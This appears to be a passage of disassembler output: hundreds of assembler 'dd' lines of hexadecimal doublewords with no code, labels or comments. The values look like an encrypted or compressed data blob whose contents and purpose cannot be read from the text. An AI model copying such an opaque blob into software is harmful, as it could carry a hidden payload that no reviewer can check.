		dd 9EAB346h, 6D743231h,	92B8E18Ch, 0A9D50124h, 1DB3A496h
		dd 97F0D382h, 7D561E2Dh, 77E37BFCh, 0D12F4A45h,	687E973Ch
		dd 7A89E5Bh, 0AC141CDEh, 66FDE4AAh, 29C09E72h, 2D960CE6h
		dd 24C0D9DCh, 9378EC51h, 490E716Fh, 44545FB6h, 4DA1D324h
		dd 7FC907D9h, 3CA9D8B5h, 4A088503h, 70054995h, 0B28139Bh
		dd 5F563357h, 67A8C685h, 7278EEFCh, 6CD67EBAh, 63FFC97Dh
		dd 0D43C8472h, 744F18E4h, 26CDFB8Eh, 0AA59B826h, 0C43651D6h
		dd 2EFAB91Ah, 0E7DCB238h, 0B9A83F1Fh, 39A1F20Eh, 0C71B2651h
		dd 0DD837F1Fh, 30CEA9C9h, 48B460DBh, 2F015A0h, 911899Bh
		dd 0FB54A629h, 9F3761E0h, 0F2E67685h, 0B9A8D1DFh, 0E5C5600Dh
		dd 0FE3E7F6Ah, 2496421h, 0DD86A8B2h, 88CB19B3h,	8828B939h
		dd 3375CAABh, 0C404007Bh, 13660B54h, 0F5C52C09h, 2231EE6h
		dd 57D9F738h, 1E3F4C0Bh, 0A693F349h, 53DF6823h,	6CA97560h
		dd 4BCF1646h, 874DD5C9h, 0CE451E47h, 9EBE8F5Eh,	34086482h
		dd 0F9ED509Ch, 975C1577h, 1532392Ah, 2AC0700Eh,	585FAD4Dh
		dd 0B8178B5Bh, 8CEF1C94h, 0B36B6CADh, 1AA010CDh, 0C83BE882h
		dd 38ECDF28h, 38BE8F03h, 0DCA5DA44h, 0DFF5B99Eh, 210C2376h
		dd 0A810CAFBh, 1419362Ch, 21379A66h, 2BBCF822h,	0AC5107F4h
		dd 0D3718B93h, 9EE5F62Ah, 4EBAF474h, 88590C61h,	210A2BBEh
		dd 713DBAD7h, 0FF6F6BE2h, 6468D777h, 1078FCB0h,	0C00B7C4Bh
		dd 0B54C67DAh, 69637061h, 20DD9904h, 0AA2FFD9Ah, 0CC77EC2Bh
		dd 0E952140Dh, 115FBC61h, 2AC06C82h, 81CC7645h,	323176AAh
		dd 42CA4320h, 0E38B66CEh, 0AC2A6BEBh, 1D37476Fh, 0DBEA69D7h
		dd 55677DCAh, 906BA321h, 0A747B720h, 9AEF787Eh,	94DD723Ah
		dd 2C01B4C8h, 17DB59F6h, 5E44048Bh, 0A4F2738h, 3BBB0967h
		dd 518118FAh, 0B2F45CAFh, 9AFBFEFh, 5F28C7FCh, 2A02DE5Eh
		dd 0ABF4D562h, 4303BCB5h, 0AEF4BE89h, 0DD6EECEh, 3CD683F4h
		dd 518371F4h, 0FF17CC3Ch, 6478BECh, 6DA115EAh, 280F9412h
		dd 6762E8E1h, 72C35EC7h, 8AC07E40h, 0BEEC9525h,	8D412ECCh
		dd 7C323B8Ch, 0FA608AC9h, 0B682C94h, 77EAD688h,	4F816CA3h
		dd 5357D64Bh, 0FD47CC52h, 67D11F63h, 9FDF19Fh, 0E202ECBFh
		dd 0DDEDA940h, 2BE5E484h, 4D0F8213h, 0A09FD16Dh, 6836891Fh
		dd 0C2B2DAE1h, 0F748D5F2h, 16B290F3h, 0B60AD253h, 0B92125A8h
		dd 0F9D0A9A8h, 0B0DFA503h, 0F08B9A69h, 3283432Dh, 0AA0BF444h
		dd 0DD343546h, 0BD4661Ah, 0D8E85601h, 979BB3E4h, 80714345h
		dd 2641BA5Bh, 1168B217h, 75A20F2h, 3231769Eh, 0D4A965FEh
		dd 7CA62B7Bh, 0E813CBF0h, 97EB4D6Ah, 0FE851E49h, 0CB2579E0h
		dd 0F52C6E54h, 79AD241Ch, 0A3C44785h, 52389F7Ah, 0DDED52DAh
		dd 0BD1CBEBFh, 6594F586h, 17392876h, 0D0F294EFh, 5551BEF2h
		dd 5A24A7FBh, 0FB6A344h, 0E105D2F5h, 0FDA5A6E6h, 0E523A6E2h
		dd 0F29EEAB4h, 0D4184029h, 80C74AD2h, 4CFC2AD6h, 7ED215C2h
		dd 0F226AD18h, 3070DA87h, 88FC1884h, 0ADC44C74h, 1C2B3A38h
		dd 7655D644h, 45818CB1h, 8BA20D09h, 195E7248h, 0D99A1614h
		dd 557B6673h, 0A06AFE4Ch, 0C52D919Bh, 0DEDD4B8Eh, 8F9259DAh
		dd 2E2CD072h, 0A7DA8072h, 0B5357E2Ch, 76C84A22h, 0CA87353Ah
		dd 58973614h, 0DA2827A7h, 50BBA7AEh, 84EB8675h,	663EFC63h
		dd 0B2A3F840h, 9FA151B1h, 4F80F197h, 3EEDAD7Fh,	3EC236EBh
		dd 0CD14F5FCh, 0C07B572Eh, 0E7B6734Bh, 82E63837h, 80816A05h
		dd 1E0E2CAAh, 0F16BE059h, 4AE192ACh, 0D8D5BE1Dh, 0DD8D9408h
		dd 230DB1FCh, 0D8F43231h, 4B90C447h, 67A676C7h,	2C2C6F24h
		dd 744EE86Ah, 0D3989B8Ah, 3CFB34F5h, 5A0B0587h,	0A50A962Dh
		dd 0E9AE596Ch, 73E72E49h, 4EB46278h, 0DA5B9515h, 234B555h
		dd 4FC80624h, 3E4124D5h, 3E329DBFh, 4BCE8A20h, 3003A018h
		dd 216FEEFFh, 36796EAAh, 51E86A9Eh, 655F1B83h, 3BCE9B84h
		dd 0D0CE2810h, 25E5BE08h, 0B2A90AF3h, 0C1C73A62h, 46542B90h
		dd 0D8789327h, 160867D6h, 97B5FE85h, 0CCDCC020h, 3F2F96BEh
		dd 0A19BD56Ch, 1900D97Bh, 6D90B33h, 0FC0023E3h,	879BBA61h
		dd 5B1A3580h, 0FC47D714h, 0D39ED452h, 0C5086AE7h, 0B67C42EFh
		dd 53B691AAh, 0D88F6134h, 5C0F4C46h, 2123A06Ah,	53C465C1h
		dd 3CF8B28Bh, 0BFDC5352h, 953BF0CCh, 42393448h,	0A47F8518h
		dd 3828E39Eh, 5ADF4F84h, 3231D03Fh, 4B75CF1h, 0B7A9931Bh
		dd 58A427A1h, 96C956D8h, 0ABF29276h, 2B1A9C24h,	22CF7B07h
		dd 0F7CA9AEBh, 0F478DC73h, 1E99706Dh, 6BF84FDCh, 0B7E6C5ABh
		dd 4355B947h, 327B69F8h, 0AFC07D20h, 138CF993h,	774AE9CBh
		dd 1AAF3AFDh, 949AC798h, 9B6768EEh, 59B3FB48h, 0E9878596h
		dd 700C863Ch, 0F2DD5AFCh, 171FC0F0h, 0C7627B23h, 1882B32Ah
		dd 7E221072h, 0AFC7DAA3h, 2A852070h, 867C0C9h, 0AD83CF2Fh
		dd 0A56DAF51h, 0DC966224h, 46FD5711h, 0D0A160E2h, 0D714511Bh
		dd 0D124A28Fh, 118A5BF3h, 0F3252BF4h, 387D4296h, 1879A9B4h
		dd 693FBFE9h, 920DF882h, 0F4119500h, 1A1EA4C4h,	6153ABACh
		dd 0FA536660h, 94D60A5Dh, 4559B132h, 0B8E4041Dh, 0CF09BA9Eh
		dd 0FA2594CEh, 3DC0917Dh, 0D6F4CBE5h, 97667E78h, 8232E1EEh
		dd 10E8C51Bh, 0AC230005h, 0A067A5F5h, 22E24225h, 0A42544B7h
		dd 8222256Ah, 2B2AA6D6h, 7341A376h, 36CD3727h, 2BE676Eh
		dd 0C6B24B1h, 0FF9DC47Ch, 0A2FBBE11h, 1B0438D1h, 0BB35249Bh
		dd 19221018h, 0A3A8E3F2h, 0F68C7DE8h, 6F9FB3D1h, 0EFA66E67h
		dd 0B7A4D48Dh, 0FF2D894Ah, 51086320h, 53C13F35h, 0A587B630h
		dd 0D8904BCDh, 0F172ACA1h, 0CD451C07h, 3C3B9B97h, 0A5217F40h
		dd 3910E8F3h, 85FBAD76h, 69450A1Ch, 193AB4AAh, 9549B1EDh
		dd 0DA0FF20Eh, 3231249Fh, 82F35034h, 4567F06Eh,	0F891C02Fh
		dd 0B7430A3Bh, 5CE68F95h, 0A78D3498h, 0D967BAEFh, 18CA2604h
		dd 0A25827D9h, 0D0F270F3h, 32DF8E58h, 5288E0DCh, 8A1A2661h
		dd 7889D860h, 0E206B618h, 787ADA6Ch, 977EE07Ah,	7E45A5ACh
		dd 35A27E70h, 0B70036BDh, 8964AF9Ch, 0D5501308h, 7F58143Dh
		dd 7A05232Ch, 0EB8FF794h, 50C5EA6Dh, 345E92BDh,	808EAA96h
		dd 72162D6Ch, 92C1C782h, 152C7EACh, 1ADC61C3h, 23335098h
		dd 397EB940h, 0B10CB071h, 0FBD258F6h, 893E1516h, 89DF0FFBh
		dd 0B2076457h, 7B1656EEh, 0E104739h, 5F367F95h,	821158AAh
		dd 0BA93B31Ah, 62B0F08Bh, 86C36794h, 465AF5Bh, 0D39490F3h
		dd 9D616A95h, 3CF560B6h, 0A1BC3DD8h, 0B20A616Eh, 29FFF0A7h
		dd 3FC6F45Fh, 74FE8333h, 575AF108h, 23FA887Fh, 7F656A26h
		dd 0BA49986h, 0C8C56C09h, 3D71BAD3h, 1B2AD93Fh,	1BACC157h
		dd 989713D2h, 56FA1F47h, 280C76CBh, 528D0129h, 42E703FCh
		dd 70F8C45Ch, 6C541A2Eh, 6E5FC964h, 0EDB0BD2Fh,	5350F3ADh
		dd 0D152B548h, 0DA2F18CDh, 0B710C3CCh, 0EE74F13Fh, 19FDF633h
		dd 0B6043E5Dh, 0EF396620h, 0CCDB5E8Fh, 3D557595h, 9738BE1Eh
		dd 0E3991AFFh, 651C5C16h
		dd 133F55C3h, 129D0177h, 8D98DE03h, 21F030C6h, 3E285AF7h
		dd 410B4562h, 43C233ABh, 0E2ADB4B2h, 46D79715h,	2F498C83h
		dd 0F2C43D6Dh, 0C581E57h, 83252867h, 0A0982845h, 0D70DB2Ah
		dd 5BB54454h, 3B59F88Dh, 6977DA2Fh, 13CE2F27h, 0A7DBEE89h
		dd 8EEF7C4h, 44B76E9Bh,	5C41DA1Bh, 9AFFF680h, 530B92A8h
		dd 0FD4BDDEFh, 4A22600Ah, 811F88BEh, 4118F04Ch,	8BE41277h
		dd 64521C9Dh, 4DE9D74Dh, 0DCADB8h, 5C5157D0h, 0BC633336h
		dd 5E365A8Ah, 0B7EBC9A0h, 733CF583h, 98519710h,	0D62571CCh
		dd 6B5CA9F1h, 5065991Ah, 8D3231DDh, 60598156h, 57B6F138h
		dd 0DD09EDE9h, 22023E3Ch, 76D46A63h, 5E50EE3Ch,	0D43A1937h
		dd 0C6BE7958h, 83EC3340h, 4683CE6Fh, 133727A5h,	6AB5FE7Eh
		dd 91E7325Eh, 0EB1221E8h, 89E3EBB7h, 6EE77B83h,	0DB16C17Bh
		dd 0D7C5BAC6h, 16432BCBh, 0BC089B63h, 3E333BDDh, 4C323195h
		dd 436A0333h, 0BD64AA41h, 147127AFh, 18B3B9B2h,	42F07F3Ah
		dd 0E491C01Fh, 784A42E2h, 5D8B81D1h, 8987848Dh,	464CD9AAh
		dd 0B8A7512Dh, 5600795Bh, 889DBB42h, 0A695D0D9h, 0D8203660h
		dd 0D0E8BFECh, 5A599015h, 78583C28h, 6B1DC260h,	3BCE9EA5h
		dd 5B3D4925h, 23C1D2F8h, 0DF187146h, 4B00B11Ch,	157C53CDh
		dd 0BBB73231h, 0B8A6ADE7h, 9550D8CDh, 5ED0E048h, 0DDE2F4A4h
		dd 0CEBA750Dh, 0F5FC272Ch, 0D820FDF3h, 4940FCCBh, 4BB33EA5h
		dd 6D1E8323h, 198B5293h, 92D6234Fh, 0B2766BA1h,	0BBD8D1C0h
		dd 20C035D0h, 0A5955D53h, 14C0397Eh, 0E7577ADDh, 9B58A3D3h
		dd 420C88F7h, 1F21621h,	5B294A98h, 1796E86Fh, 0D6C23231h
		dd 1D586839h, 0B3A611F7h, 11A19F81h, 7D3630CAh,	525B2E27h
		dd 8D70FB91h, 965B2B81h, 8268EC25h, 62E8C7A8h, 0A5A60644h
		dd 7024A6E2h, 0E1826FD4h, 0E52B3A1Bh, 94482A0Fh, 0A8BC5251h
		dd 5F6775E4h, 77101BA5h, 0FB95B184h, 2984684Ch,	523231B9h
		dd 4074AC28h, 0B5954AA9h, 346603B8h, 0B603D2E3h, 7771E8A8h
		dd 65688AF5h, 0B883E319h, 0FCE36905h, 232EAF9Ch, 511BBD91h
		dd 87734F1Bh, 2A574913h, 0E5FF5CA7h, 443599FEh,	3A9F85A9h
		dd 0E4EBF8BCh, 707EFF62h, 38431B59h, 0D83B97B0h, 464A4129h
		dd 0EDD494DCh, 1D26BE4h, 8DEE066Fh, 0FA072E70h,	0E305EB5Fh
		dd 99A2D5A7h, 44F7628Ch, 9693967h, 0A124CF88h, 0CA8A55C5h
		dd 2588845Ah, 0B279E94Fh, 0C452CD40h, 0F7D24127h, 8217132Eh
		dd 0A12B9230h, 5275C8FCh, 0CAACC71Ch, 32319715h, 4BFD5A15h
		dd 0FE55F199h, 0BF831886h, 0EF24F7E2h, 71AC6FEh, 6EA96F8Dh
		dd 0EED027CAh, 722696B4h, 1D7189D6h, 3BD40971h,	0D8DDF30Fh
		dd 4EB119A6h, 9C9EC769h, 4228DA8Dh, 6C4E57B6h, 2F210E69h
		dd 0AA55F68Bh, 0D235E91Dh, 0CE1C3220h, 6870D92h, 7F86ABF6h
		dd 12EFBCACh, 94AAD34Ah, 989E9D91h, 95FF4933h, 1EE1B900h
		dd 109A8921h, 1FB14134h, 51DAD146h, 87808CB4h, 3455182Fh
		dd 2BFF471Ch, 0B7BDFCF3h, 0C669189Ah, 0E066BBDBh, 176E2114h
		dd 2EAFAD39h, 8E34B8Eh,	68A724h, 5C8B9B64h, 30BF3D0h, 0EA5FE665h
		dd 0DC4270D9h, 66730F4Bh, 8EAE938h, 0C82A5AA9h,	977E4BFCh
		dd 5B9A706Ah, 0BE9C8D12h, 5F7503CFh, 0D5338BEDh, 7DC8D75Ch
		dd 74C116B9h, 0BADC4FBEh, 442D06E1h, 844A42EDh,	0AB93AE88h
		dd 43E7D8Ah, 693C7C15h,	0DAD6E4FAh, 0D02677Ah, 4A913990h
		dd 55EE481Ch, 0C7BB563Fh, 7770CA52h, 0E634F761h, 78F3C765h
		dd 332F9F61h, 7D18DD09h, 3DE1A812h, 4CA171D0h, 0A3672D05h
		dd 0E195471Bh, 7C5DA371h, 75AAA421h, 9CE55183h,	0C1F4FCDCh
		dd 0D44F5055h, 98B58247h, 78C64BADh, 0AC39097Dh, 9F7CC39h
		dd 0BB12A625h, 2167ABDCh, 771C7D68h, 32207DE8h,	82BACFF0h
		dd 3635F889h, 45A46596h, 25A895B7h, 39D7B8F7h, 0AA365B04h
		dd 9721C0A8h, 0E6E8BB1Fh, 2978CFF0h, 0E17C8FF7h, 65005944h
		dd 127BE36Eh, 1A327030h, 0A4EBE5DBh, 0E61278D0h, 0D0833F3Eh
		dd 6DAD97B8h, 0F092A715h, 0B564357h, 0C24B3966h, 0EEC376C3h
		dd 6BFBE31Eh, 0EFFDEF3Dh, 0B965CEABh, 0D1EC47FCh, 495EA07Eh
		dd 0CC2BBB0Fh, 68E43E8Ch, 47517240h, 0E8FFC147h, 131E3A41h
		dd 3F14F979h, 0EE137DA8h, 4C4BB40Ch, 0EC4C62A2h, 216AC5D7h
		dd 3046A124h, 3DBB35C6h, 7666ACA5h, 8F710AADh, 0A502C4DDh
		dd 8CEA263Dh, 7135F63Ah, 202E6C80h, 3081EE66h, 0A88747BAh
		dd 0AA4930DAh, 8C691E06h, 73E8607Ah, 72030456h,	0D2138F7Eh
		dd 7E4DF637h, 0C847BB10h, 81373CF1h, 0A56AB1E3h, 5296A76Ah
		dd 0AC87913Ch, 93166B6Eh, 0D87A29D5h, 0DA440B78h, 0E403A4E2h
		dd 0DB1FD8Fh, 0C7A21AA9h, 14D7D23Fh, 2F8086EDh,	26598371h
		dd 0B6914447h, 0E2FC4BA3h, 94D20602h, 0A39F512Eh, 0F7465B3Eh
		dd 0E173DDADh, 59640BFFh, 449EC9F8h, 0D6E48679h, 98F90A81h
		dd 229749C0h, 9D7F78D1h, 0DFC6F06Fh, 87323177h,	328AF443h
		dd 9E8367BEh, 4FA8659Fh, 0B7C1D07Ch, 37D22353h,	0C0D93BA4h
		dd 21D4E9FFh, 302C87FEh, 57AD21A8h, 0D1188561h,	0C6C54632h
		dd 5C332C80h, 4D0D59Fh,	0D1E852B4h, 177FD3B1h, 0EDF7EAB6h
		dd 0C910E108h, 0C1F21B5Dh, 7AD02C1Ah, 640F9CCAh, 92BA16AEh
		dd 0ECE072B6h, 5A3A0EB6h, 0FD3A2284h, 3814125Bh, 1986FF13h
		dd 0D3666F00h, 8C858FAFh, 0FA4C200h, 0E156685h,	97F7A487h
		dd 459C1953h, 74A2CAC4h, 19B1F2D7h, 68265FD6h, 0C16A7D4Ah
		dd 0ED332802h, 17F1B261h, 6376D12Dh, 4EB3FA36h,	97BEEF9Fh
		dd 83D03231h, 6F8B8599h, 9205CB11h, 0C5E1E53Bh,	42976658h
		dd 0DBF79D5Eh, 709EFBAFh, 0D7713A94h, 8AFEFD69h, 0D0564DC3h
		dd 6EE8D638h, 26D2034Bh, 10A7D0BDh, 625CA065h, 7EEE9440h
		dd 2A0DFC75h, 0A2488FC1h, 4BC2CAF7h, 24C8C8C7h,	4B53CFB1h
		dd 0F5EA2B62h, 542BF768h, 2D6AA3CBh, 6F876009h,	2E94361Ch
		dd 0F12A9256h, 9DB2AE8Eh, 30750C30h, 35B03B5Bh,	459945A4h
		dd 785ABD24h, 57CC9D74h, 667F5907h, 91304FB9h, 0F1DEB7E7h
		dd 0BF89BA8Bh, 2B96CFC5h, 7998CF89h, 35D9ED63h,	0FE0EE652h
		dd 0B8F969CAh, 8B4CA745h, 0FB096827h, 6F90F9ADh, 6E0C8FCFh
		dd 62EF0776h, 3D7EF79Eh, 0D4B0EB6h, 4FB8637Fh, 2AA7A95Fh
		dd 0C9FFD5A2h, 63850ADCh, 0B26627h, 0BF5BB7F3h,	6EB44A69h
		dd 8A6CCDF5h, 8EB5DFACh, 0BFD3B163h, 9FD0D83Ch,	0A43B785Eh
		dd 8A34F1CEh, 0F11783F9h, 3D1926CFh, 0C0B6C2F7h, 53522C10h
		dd 5EB1BB2Fh, 8C57746Ch, 0AA1B27C4h, 362DD31Eh,	0D41E2D96h
		dd 0E5203439h, 41C7A680h, 1D35D5E4h, 0FB9A73B4h, 72DFBE9Bh
		dd 437687Ch, 0D957C360h, 19E2B8C5h, 0D6A8D524h,	642488BBh
		dd 0F3F988B5h, 0BA19B554h, 40E785E0h, 0C9841365h, 0C334E43h
		dd 0AAAF4D27h, 5B574DA0h, 0FB280132h, 0D5D11D73h, 3BF03276h
		dd 0FD761E86h, 0A2D2864Ah, 22A5B33Dh, 2D87B880h, 2D29709Ah
		dd 15A46F54h, 265679CEh, 5EC03926h, 1187AF60h, 0B46E38E1h
		dd 0EF0C65D9h, 0DF506184h, 0A57AB1DBh, 1AC03F00h, 6B2DCA67h
		dd 0B7936C48h, 0F80F2A33h, 561CE320h, 65217038h, 0BB85E23Ah
		dd 0F7A970D9h, 923EC243h, 0C8AD8E08h, 1E9D1198h, 2FC1CA2Dh
		dd 0F320E2FFh, 6ED51D2Ah, 0E0A1E02Bh, 85E7BBAh,	0E9A1EE13h
		dd 0BA7F7188h, 0EA07AD43h, 0E8C74224h, 8A668EB6h, 516F6FA1h
		dd 7B6B853Fh, 5E755DD2h, 0F752BF7Ch, 20120A77h,	0B8EDD80Eh
		dd 6C24D183h
		dd 0A75CB430h, 0EA6A3A6Eh, 0A083EEA1h, 0B98BB79Fh, 9C165C11h
		dd 44BC2B12h, 0AC11183Fh, 70D67BCCh, 7B9BE3A6h,	5C4CBDA3h
		dd 5DF2566Dh, 305E9A16h, 0F7D7A148h, 8F8B58E1h,	252C6C6Bh
		dd 0FFD15671h, 3B537320h, 0F2F397E4h, 0D9228E71h, 79247E7h
		dd 75ACDDB1h, 0D2EB1AB0h, 17490D0h, 50028AC0h, 2F000368h
		dd 4C3BDE18h, 6561F5D3h, 7E4D1D6Ah, 98FFD44Eh, 0BCAE85A9h
		dd 0AEF2E5C2h, 0BEF2BE18h, 0D5662819h, 4AB7FDA1h, 632F6798h
		dd 3AED07DAh, 0ADAF3D5h, 0C9A8CC06h, 0D746564Bh, 8DE45CEh
		dd 9F0F07CEh, 9CD70693h, 1F47698Dh, 0AE2F3C14h,	5EE37527h
		dd 38990128h, 0C7D96F9Eh, 0E8CC76DDh, 633908D9h, 304B3A6Ah
		dd 8E94A534h, 694301E5h, 0CFFCC69h, 6577788h, 0D78AA919h
		dd 49846678h, 8167AB39h, 0CEC08D48h, 9AD07A3Eh,	45A712AAh
		dd 2574FD4Ch, 0FBFBB265h, 0C9FCA9Bh, 5667BB22h,	0E8C8CC02h
		dd 808E5B3Eh, 421E8E07h, 0D2B511BFh, 0DA08ED01h, 0E4C69876h
		dd 40199F6Ch, 9B6E75C0h, 0FC0E442Ch, 13B96DF2h,	6F84892Dh
		dd 0A41559F6h, 0CEDC2138h, 399DEFB2h, 2EDCFA57h, 0EA323123h
		dd 0F0BB3890h, 1B0640BEh, 6C873C3Eh, 6EC820F6h,	1B20681Fh
		dd 0FCFE57DFh, 0FBFF05FEh, 0D699AFEh, 0BD394690h, 0C185D133h
		dd 0E3165DA6h, 63574895h, 0E95EA0B4h, 7F0E550Ah, 0B92B000Ah
		dd 77F28047h, 6B9E45Dh,	1B392CB5h, 207EE2E8h, 27A54BACh
		dd 1358FB2Bh, 0C30BCA51h, 32316335h, 0B4A43D96h, 434E9C8Ah
		dd 182BCF5Fh, 0BFEB2E69h, 62FE851Ah, 7D7A5A8Ch,	358E125Fh
		dd 9DE41501h, 7C2F7506h, 0F40C9033h, 0F35C220Dh, 85474FC5h
		dd 0D23CDF13h, 0BE07FDD7h, 5B7D4464h, 1D3BE85Bh, 33B5186Fh
		dd 22DFAB9Bh, 95DC15D0h, 31D869CFh, 52DD6932h, 0F25B192h
		dd 0DEB0BD97h, 0CDBAF405h, 0F1CCEC13h, 2870EFACh, 0A462384Ah
		dd 8E231110h, 0B8A69483h, 0F7D95D83h, 98B65EBDh, 58C369E8h
		dd 8DB3AD4Dh, 0C3C3C097h, 7D3AD5DBh, 76FBEAB2h,	3BB281B3h
		dd 55AB653Fh, 23ECC3CEh, 9D7DDF48h, 3706E7F9h, 39BBD185h
		dd 0D4AC513h, 635A5AA4h, 94DE15C2h, 0F6A633D1h,	75504398h
		dd 195C225Dh, 0D7211023h, 1F3574BFh, 6985092Bh,	8A49282Ah
		dd 5EC894ADh, 9786AE98h, 0EE8904E1h, 440CC575h,	525337C9h
		dd 0EBDA194Dh, 94376089h, 0A4B09602h, 49F10826h, 5E21C2B5h
		dd 413B7404h, 0D0727BDBh, 94C1264Ah, 0CCE9FC6Dh, 5D521DBAh
		dd 0D9E48201h, 0B9248A18h, 4CABBA04h, 8730448Bh, 91762E65h
		dd 2F01EE4Eh, 7BD42CD0h, 1D82889Fh, 80335073h, 653738E5h
		dd 0F5DE3231h, 553CEDBh, 0F3C14850h, 1AC93231h,	7A0ABD83h
		dd 48BA4750h, 0E1819D96h, 0A8FA9AADh, 4B931BA1h, 249192D1h
		dd 0B0D6DC36h, 2FB6155Ah, 9E0C6A56h, 411AD81Ch,	9CAE04AEh
		dd 6B94CFE3h, 2A1BC176h, 6C635EA0h, 0E8E20C6Dh,	65CA6B26h
		dd 464A72Bh, 0E73EEE8Ah, 0EE7D8540h, 777F00D5h,	37D2D5A8h
		dd 0E39FAF5Fh, 313BD2CEh, 0AE228732h, 0BF09C426h, 1952ADB9h
		dd 128D336h, 0A2830868h, 144078DDh, 75C24CE9h, 3EFD1F82h
		dd 8BAE0BC2h, 0B0334076h, 85B82C00h, 7780F98Fh,	0B239B708h
		dd 0E026AD70h, 4188CA43h, 0D2988F2Dh, 86EA5F89h, 0B4E6F698h
		dd 79DCEEA1h, 0AA5CC81Fh, 0DF8C3277h, 21DA766Ch, 5DF4C034h
		dd 2D83E8A7h, 13CC5DF6h, 0D23E462Dh, 0CCB760ACh, 7619F5AEh
		dd 62F244C9h, 0F78FF5F1h, 93391771h, 27D83AD0h,	0C5E477D1h
		dd 0FF01DE80h, 4C519DAFh, 3FDEEB9h, 41EF310h, 0EE586004h
		dd 8872EF89h, 25CA9A93h, 0A705BF3Ah, 0FE9300BEh, 1898223Eh
		dd 0D47EBF75h, 4C496F8Fh, 54516004h, 112C84Ch, 0B562C864h
		dd 69A8C94Eh, 0E71A0598h, 296ED9C8h, 0B1786760h, 6EAE390Ah
		dd 672EF7A1h, 1AAF8EB8h, 0D2A30C8Ah, 0A18B8AD1h, 0D8861D53h
		dd 40D8DBDBh, 383A47E3h, 0C0AEE252h, 97860E1Bh,	0D9435477h
		dd 458F3275h, 3F71CA01h, 17BAE325h, 64A920DCh, 8C3DFB5Eh
		dd 0D3B427EBh, 194FEE5Fh, 53D94209h, 0D48FB20Fh, 0EE1FBA88h
		dd 752DCD4Ch, 0C907D239h, 5496272Ah, 411404EAh,	0FC56661Bh
		dd 0C2D43B0h, 11070466h, 3E6ACDC1h, 2FD7D6DAh, 1240ED9Ah
		dd 28259DB1h, 6DBDAC3Fh, 86CB449h, 25045229h, 2305765Ah
		dd 575BD21Dh, 0C267DD80h, 53D05D76h, 0D49D2DE0h, 701B16h
		dd 0A585A506h, 229E789Fh, 14B6FCF0h, 5FBCB532h,	2F4ED3E7h
		dd 0AC60DFD7h, 0DECE1866h, 7CF49F36h, 1B6DB800h, 34B613A4h
		dd 58958E48h, 9FD471Bh,	6ADB8EB9h, 28655B6h, 0BDA2162Fh
		dd 0E727D76h, 13A64B87h, 0B4B78539h, 26D730D5h,	0AC231332h
		dd 1762FFE4h, 91E03D9Fh, 0B514A9C2h, 0ECBFE567h, 8527FED0h
		dd 5B3662D9h, 0C06A8F19h, 0E01A42E3h, 0AF64A7EEh, 0B7FC4BFFh
		dd 1360F101h, 5FE91E0Ch, 0BB8C1650h, 0B088A5F4h, 0C39C9BCCh
		dd 7C6B0DA2h, 438CD2D5h, 95DE54B5h, 9788E817h, 6A358757h
		dd 499D7529h, 2F5496C6h, 5B0B985Fh, 0F2977DAAh,	31854BD9h
		dd 0FE926532h, 5E38379Ch, 7E1F4A33h, 76C0E8EFh,	0FDE1ED14h
		dd 0BDCF356Fh, 9EEB81A6h, 431F370Bh, 0E9929623h, 961C983Fh
		dd 0E2F28C8h, 0CAE6D346h, 0A75F2608h, 8962D33Ah, 0CFFC454Eh
		dd 254AEF15h, 0ED465BDBh, 0AE15A734h, 3843E1ACh, 78C79CD2h
		dd 0DCFFA37Eh, 0AEBB790h, 0D435A3C2h, 40357BF7h, 129C09EBh
		dd 987CAB48h, 0D98046DBh, 0BAB186BBh, 9B2781BDh, 4A60A3DCh
		dd 96ECADFh, 7F07F37Fh,	17EA077h, 21988546h, 0C83ED640h
		dd 0CF172008h, 63445D16h, 0F5261BC1h, 6D5DA4Eh,	60741F4Dh
		dd 0C1B8F000h, 8634748Fh, 19812419h, 79A5D2E7h,	98326AEBh
		dd 0AB803B86h, 8F9C6E2Fh, 0D2A08AD2h, 0F51388CAh, 1DFED0ADh
		dd 713C123Dh, 0B06765C1h, 507E292Fh, 0DB56A182h, 0FE49D7BCh
		dd 0F82F08A7h, 0CC191A25h, 0E098379Ah, 0AA6352Bh, 598A7294h
		dd 0FE339F85h, 0FC269E5Ah, 253667B6h, 0A36B29AAh, 7BD4387h
		dd 0DC3224CAh, 0D03D27C3h, 0FB4DCA9Bh, 0E240C3E1h, 0DF6FF046h
		dd 0AC8B6773h, 65513A69h, 18AAE4F9h, 2A59153Ch,	0F4B2130Bh
		dd 0A4CBF1F7h, 91D79555h, 0BE48D601h, 0EE6A4BD7h, 9A0EE450h
		dd 994F992Ch, 414BF8C1h, 1C747038h, 4D0E3463h, 154A76D6h
		dd 14BA12F9h, 2AA7043Eh, 3B4C21B0h, 2FAD1E89h, 0B6BD1A28h
		dd 0D6B64B6h, 0C270491Dh, 0F46BCD7Eh, 4754CBB6h, 0A8DEEC0Eh
		dd 0C9ED616Ch, 4E16C2C3h, 758F42E3h, 0DFF2328Fh, 0CC2EA99h
		dd 0DE695869h, 3C2AFE4Dh, 0ED0AAD1Dh, 7C4915D3h, 0D7B8901h
		dd 40EBEC0h, 9BF0FCE2h,	88FACC84h, 0C7AB54E2h, 0AB0D38F4h
		dd 4D8440CCh, 99526752h, 2447EFA6h, 0FD349A01h,	0C8BB0916h
		dd 92505E43h, 0AD9457F9h, 0AA603FBCh, 6942F0F2h, 0F4AFAE60h
		dd 2BBFFD20h, 3C95DF3Eh, 0DE8602DAh, 0F54D7DD3h, 226697CCh
		dd 0CA192FC6h, 0A70E69C9h, 0B1A0085Dh, 88D0717Fh, 0F4E917C5h
		dd 86CE2A27h, 0E3D8E25Ch, 5513BE8Dh, 9F11B764h,	28BAB025h
		dd 0C75B5B1Eh, 0AC9FBE96h, 7221B63Eh, 74637645h, 2AF6657Bh
		dd 7C4EBC7Ah, 5F97336Bh, 0D7FF7A4Ch, 1AAC37E2h,	0AABA4370h
		dd 5DFC5A6Ch, 0E3F7CA0Eh, 299F455Bh, 95F809CFh,	30E02141h
		dd 0C69A8B8Ch, 0C5D341F6h, 9F073AFFh, 1DB96EA6h, 0BDFBD17Ch
		dd 70BB9EFFh, 757B91D0h, 2AFBCF7h, 1BE70047h, 0EAC79401h
		dd 6C3DC28Bh, 77416136h, 42D4B993h, 0D0637609h,	0F3CD9779h
		dd 0A4FD92C9h, 0B0FA8269h
		dd 84ABF94h, 6CFF50CFh,	0ABDFCEBFh, 69593889h, 7A90FD03h
		dd 0E164A758h, 48E9A932h, 3A84C92Ch, 9881F82Bh,	60A03279h
		dd 9015148Bh, 107663DAh, 8406DC45h, 4A7666A0h, 49466CD2h
		dd 0D6FF9429h, 2AFE4278h, 0A44791A5h, 0F5726815h, 4509F9BBh
